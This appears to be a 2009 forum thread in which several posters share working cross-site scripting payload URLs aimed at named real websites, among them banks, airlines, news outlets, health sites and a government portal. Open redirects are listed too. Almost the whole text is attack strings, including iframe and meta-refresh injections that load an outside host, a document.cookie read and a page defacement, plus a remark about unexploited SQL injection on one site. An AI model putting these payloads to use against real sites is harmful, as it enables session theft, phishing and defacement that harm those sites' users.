PaPPy Wrote:
-------------------------------------------------------
> -dont know if i can turn this into XSS
> http://www.us.hsbc.com/1/2/redirect1?SCMCLP=rdadm_
> CSM0000841&x=&code=CSM0000841&WT.ac=HBUS_CSM000084
> 1&rmax=http://google.com

http://www.us.hsbc.com/1/2/redirect1?SCMCLP=rdadm_CSM0000841&x=&code=CSM0000841&WT.ac=HBUS_CSM0000841&rmax=javascript:alert(1%29

i tried that, and it doesnt seem to work... and neither does urs
i am using IE7

http://www.xssed.com/archive/author=PaPPy/

http://sports.sportsillustrated.cnn.com/racingfront.asp?series=%27%29%3B%20alert%281%29%3B//
http://sports.sportsillustrated.cnn.com/tennisfront.asp?tour=%27%29%3B%20alert%281%29%3B//

and an open direction
http://sportsillustrated.cnn.com/partners/redirects/tracking.html?http://google.com

anyone able to get something from this?
http://www.e-publishing.af.mil/shared/resource/EPubLibrary/EPubLibrary.aspx?type=Forms&search_title=<+iframe%20src=http://google.com>

http://mlb.mlb.com/components/global/click_through.html?jumpTo=javascript:alert(1)%3B

http://www.mysanantonio.com/crimebase/crimeBaseSummaries.html?searchValue=%22></a><script>alert(1);</script>&firstResult=0

http://weather.mysanantonio.com/auto/mysanantonio/radar/radblast.asp?zoommode=pan&prevzoom=zoom&num=6&frame=0&delay=15&scale=0.250&noclutter=1&ID=EWX&type=N0R&showstorms=0&lat=0&lon=0&label=you&map.x=400&map.y=240&scale=0.250&centerx=586&centery=76&showlabels=1&rainsnow=0&lightning=0&lerror=20&num_stns_min=2&num_stns_max=9999&avg_off=9999%22></a><script>alert(1);</script>

http://www.delta.com/search/index.jsp?querystring=');%20alert(1);%20//&selectTab=dotcom

weird way i had to pull this one off, had some filters
http://www.delta.com/awards/home.do?EventId=%22><br><br><br><br><br><br><marquee><font%20size=200%20color=red>mouse%20over%20the%20input%20box<br></font><input%20value=%22mouse%20over%20here%22%20onmouseover=%22alert(1);%22><a%20href=%22

http://www.delta.com/index.jsp?fpe=%22><br><br><br><br><br><br><marquee><font%20size=200%20color=red>mouse%20over%20the%20input%20box<br></font><input%20value=%22mouse%20over%20here%22%20onmouseover=%22alert(1);%22></marquee><a%20href=%22

https://www.delta.com/shared/components/interstitial/nwa/?action=smLogin&URI=%22><font%20color=red%20size=20><marquee>mouse%20over%20the%20input%20box</marquee><input%20value=%22mouseover%20me!%22%20onmouseover=%22alert(1);%22>

http://www.delta.com/booking/eCoupon.do?cmd=%22><font%20color=red%20size=20><marquee>mouse%20over%20the%20input%20box</marquee><input%20value=%22mouseover%20me!%22%20onmouseover=%22alert(1);%22>

and this one is commical
http://search.chow.com/search?query=&advanced=&type=&from_date=10+years+ago&to_date=%22><script>alert('Chow%20on%20these%20nuts!!!!!!!');</script>&sort_mode=</title>test

http://www.xssed.com/archive/author=PaPPy/



Edited 12 time(s). Last edit at 06/03/2009 03:08PM by PaPPy.

TwitterCounter.com xss - iframe - redirect

http://twittercounter.com/milw0rm?predicted="><script>alert(String.fromCharCode(88,83,83))</script>

http://twittercounter.com/milw0rm?predicted="<IMG src='http://nemesis.te-home.net'><BR><BR><IFRAME width='1000%' height='400px' src='http://nemesis.te-home.net'>

http://twittercounter.com/trendmicro?predicted="<META HTTP-EQUIV="refresh" content="0; URL=http://nemesis.te-home.net"> 

Norman

xss,iframe

http://www.norman.com/support/support_issue_archive/67744/en?msg:utf8:ustring="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.norman.com/site_search/en?searchString%3Autf8%3Austring="><iframe src=index.htm

http://www.norman.com/support/support_issue_archive/67744/en?msg:utf8:ustring="<IMG src='http://nemesis.te-home.net'><BR><BR><IFRAME width='250%' height='600px' src='http://nemesis.te-home.net'>

http://security-sh3ll.blogspot.com/

[www.airfrance.us]
https://www.airfrance.us/US/en/local/transverse/frame/genericIFrame.htm?url=http://google.com
http://eshopping.airfrance.fr/actions/changerLangue?language=%22><script>alert(1);</script>
http://www.airfrance.com/cgi-bin/AF/XX/en/local/transverse/system/redirection.jsp?URL_REDIRECTION=%22;%20alert(1);%20//
http://www.airfrance.fr/cgi-bin/AF/FR/fr/local/transverse/system/redirection.jsp?URL_REDIRECTION=http://google.com%22;%20alert(1);%20//
[www.airfrance.ca]
[www.airfrance.pt]
[www.airfrance.it]
[www.airfrance.it]
http://www.airfrance.co.jp/cgi-bin/AF/JP/ja/local/transverse/system/redirection.jsp?URL_REDIRECTION=http://google.com%22;%20alert(1);%20//
[w3.airfrance.com]
[www.airfrance.be]
[www.airfrance.fr]
http://www.airfrance.com.cn/cgi-bin/AF/CN/en/local/transverse/system/redirection.jsp?URL_REDIRECTION=http://google.com%22;%20alert(1);%20//
[www.airfrance.at]
[www.airfrance.com.br]
[www.airfrance.nl]

http://www.icelandair.us/search/?portal:componentId=40239&portal:type=action&portal:isSecure=false&portal:portletMode=view&searchWord=%22><script>alert(1);</script>
http://www.bluenity.com/?frml=%22></a><script>alert(1);</script>
http://www.bluenity.fr/?frml=%22></a><script>alert(1);</script>

http://www.ucf.edu/pls/CDWS/w4_bbs_events.main_display_sel?p_role=%22></a><script>alert(1);</script>
http://search.honeywell.com/search?proxystylesheet=ecm_en_frontend&client=ecm_en_frontend&baseSite=honeywell&output=xml_no_dtd&filter=p&site=default_collection&q=');%20alert('1
http://www.wired.com/services/feedback/letterstoeditor?userEntry.firstName=%22><script>alert(1);</script>
https://secure.wired.com/user/registration?returnto=%22><script>alert(1);</script>
https://magazine.wired.com/ecom/subscribe.jsp?oppId=2300022&tgt=';%20alert(1);%20//

http://www.xssed.com/archive/author=PaPPy/



Edited 24 time(s). Last edit at 06/23/2009 08:05AM by PaPPy.

Playmate 2009
http://www.playboy.de/playmate/allgemein/popup_galerie_freesite?titel=Elvis%3Ca=%22%22%3E%3Cscript%3Edocument.getElementsByTagName%28%27img%27%29%5b2%5d.src=%27http://sla.ckers.org/images/id/elvis.jpg%27;%3C/script%3E

@Reiners Research - right? Both the website and the image :)

I knew you would be the first one clicking on the link ;)

i was going to click it, but at work....

http://www.xssed.com/archive/author=PaPPy/

@Reiners well parried :)

http://photobucket.com/faq?catID=90&catSelected=f&topicID=733%22></a><script>alert(1);</script>


hxxp://funds.reuters.com/lipper/retail/reuters/overview.asp?type=";} alert(1); //"></iframe><script>alert(0);</script>
hxxp://funds.reuters.com/lipper/retail/reuters/overviewetf.asp?type=";} alert(1); //"></iframe><script>alert(0);</script>
hxxp://funds.reuters.com/lipper/retail/reuters/fundscreener.asp?type=";} alert(1); //"></iframe><script>alert(0);</script>
hxxp://funds.reuters.com/lipper/retail/reuters/lipperperformingfunds.asp?type=";}%20alert(1);%20//"></a></iframe><script>alert(0);</script>
hxxp://www.reuters.com/do/emailArticle?articleId="><script>alert(1);</script><!--

hxxp://www.imdb.com/name/nm1083271/mediaindex?page=2"></a><script>alert(1);</script>

http://www.xssed.com/archive/author=PaPPy/



Edited 4 time(s). Last edit at 07/01/2009 01:17PM by PaPPy.

Too easy and quite pointless, but it works:

http://www.thebiogrid.org/search.php?keywords=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&searchbutton=GO&organismid=4932

http://www.webmd.com/site-map?ss=%22;alert(1);sdfsdfsd=%22
https://pref.health.webmd.com/WebMD/WebMDSelection_MiniForm.asp?e=%22><script>alert(1);</script><a
http://www.webmd.com/health-care-directories/default.htm?area=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/click?url=javascript:alert(1);%22);alert(%22test
http://www.webmd.com/rheumatoid-arthritis/ra-tv?catId=13&vidId=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/about-webmd-policies/default.htm?ss=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/about-webmd-policies/about-terms-and-conditions-of-use?ss=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/about-webmd-policies/about-privacy-policy?ss=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/policies/about-our-sponsors?ss=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/magazine/default.htm?ss=%22;alert(1);sdfsdfsd=%22
http://www.webmd.com/about-webmd-policies/additional-info?ss=%22;alert(1);sdfsdfsd=%22

http://v5.globalmentoring.com/gmsuser/chat.aspx?RoomID=1046&token=test%22);%20alert(1);%20//
also if you register for a free demo here,
http://v5.globalmentoring.com/gmsuser/GMS_marketing/ProductDemo.aspx
you can access other resources via navigating here
http://v5.globalmentoring.com/gmsuser/Dashboard.aspx
site also has sql injections, and profile fields can accept XSS

So go get your learn on!

http://www.xssed.com/archive/author=PaPPy/



Edited 2 time(s). Last edit at 07/15/2009 08:34AM by PaPPy.

[www.pcworld.com]

http://www.xssed.com/archive/author=PaPPy/

http://www.nice.org.uk/sys/linkhandler.jsp?h=0&w=0&r=javascript:alert%28%22Oh%20no!!%22%29
http://india.gov.in/outerwin.php?id=javascript:alert%28%27PR%2010%27%29

Don't ask me why I was at this website

http://www.pampers.com/en_US/searchAction?search=newSearch&searchNew=yes&keywordField=--%3E%3Cscript%3Ealert%281%29%3C/script%3E

http://www.vistaprint.com/customer-care/help.aspx?search=<script>alert(1);</script>

http://www.vistaprint.com/vp/ns/studio3.aspx?pf_id=064&combo_id=4298&gallery_id=64&category_id=11&referer=http%253A%252F%252Fwww.vistaprint.com%252Fcustomer-care%252Fhelp.aspx%253Fsearch%253D%253C%252Fscript%253E%253Cscript%253Ealert(1)%253B%2520%252F%252F&rd=2

hxxp://www.vistaprint.com/vp/ns/setlanguage.aspx?langid=15&xnav=top&returl=javascript:alert(1);"><script>alert(1);</script><!--


hxxp://www.vistaprint.com/vp/calendars/calendar_options.aspx?alt_doc_id=04608-16821-5N8&combo="></a><script>alert(1);</script><!--20120.134.23.67396|67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c67396%2c83487|670|0|68&tabStep=0&CalendarDatePicked=False&combo_id=69997&pf_id=389&rd=3

and an open redirect
http://www.vistaprint.com/vp/ns/setlanguage.aspx?langid=15&xnav=top&returl=http://google.com

http://www.xssed.com/archive/author=PaPPy/

http://friends.myspace.com/index.cfm?fuseaction=profile.friendmoods&friendId=469017157&filter=';%20alert(1);%20//

cant take credit for this one, found this on another site:
[kr.gugi.yahoo.com]

http://www.xssed.com/archive/author=PaPPy/



Edited 1 time(s). Last edit at 10/05/2009 08:51AM by PaPPy.

every forum they host
http://help.forumotion.com/report_abuse.forum?page=%22%20onmouseover=alert(1);>Mouseover%20up%20here!!!!!&report=1

http://www.xssed.com/archive/author=PaPPy/

http://linktown.kens5.com/s/%22><img%20src=x%20onerror=alert(1)>/san-antonio/tx

http://www.woai.com/mediacenter/local.aspx?videoid='%7D);%20alert(1);%20//&navCatId=5

http://www.informationweek.com/news/software/app_optimization/showArticle.jhtml?articleID=%22>--><script>alert(1);</script>

http://www.xssed.com/archive/author=PaPPy/



Edited 3 time(s). Last edit at 11/12/2009 01:20PM by PaPPy.

http://us.blizzard.com/support/index.xml?locale=en_US&gameId=11';alert(document.cookie);'&rootCategoryId=2316

http://www.ua2go.com/flifo/FlightDetail.do?airline=UA&fltNbr=100&orig=LAX&dest=DFW&date=20091115&stamp=test'></a><script>alert(1);</script>

http://euronews.com/link.php?url=----://google.com%22></iframe><script>alert(1);</script>

http://thatwebstuff.com/link.php?url=----://google.com%22></iframe><script>alert(1);</script>

http://www.media-hunt.com/link.php?url=----://google.com%22></iframe><script>alert(1);</script>

http://www.xssed.com/archive/author=PaPPy/



Edited 3 time(s). Last edit at 11/19/2009 03:14PM by PaPPy.

http://www.conceptart.org/index.php?artist=%22%3E%3C/a%3E%3Cscript%3Ealert%28%27ZOMBIES%20AHEAD%27%29;%3C/script%3E%3C

[www.justanotherhacker.com]

http://shop.three.com.au/search/searchResult.jsp?query=";</script><script>alert('ZOMBIES AHEAD!');</script><&_requestid=542403

[www.justanotherhacker.com]

Oh lol.. I borked the forum... let me urlencode that for you

http://shop.three.com.au/search/searchResult.jsp?query=%22%3B%3C%2Fscript%3E%3Cscript%3Ealert('ZOMBIES+AHEAD!')%3B%3C%2Fscript%3E%3C%26_requestid%3D542403

[www.justanotherhacker.com]

http://search.news.com.au/search?q=abc%3C%2Ftitle%3E%3Cscript%3Ealert%28String.fromCharCode%2890,79,77,66,73,69,83,32,65,72,69,65,68,33%29%29;%3C/script%3E%3C&sid=&us=&as=&ac=&r=typed

[www.justanotherhacker.com]

http://www.carsguide.com.au/search/?type=all&Ntt=%3Cscript%3Ealert%28%27ZOMBIES%20AHEAD%27%29;%3C/script%3E%3C

[www.justanotherhacker.com]

http://www.reuters.com/search?blob=%22%3E%3Cscript%3Ealert(%27ZOMBIES%20AHEAD!%27);%3C/script%3E%3C

[www.justanotherhacker.com]

http://politics.inquirer.net/view.php?db=1&article=20091126-238425';%0adocument.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,59,60,47,115,99,114,105,112,116,62));%20//

http://www.xssed.com/archive/author=PaPPy/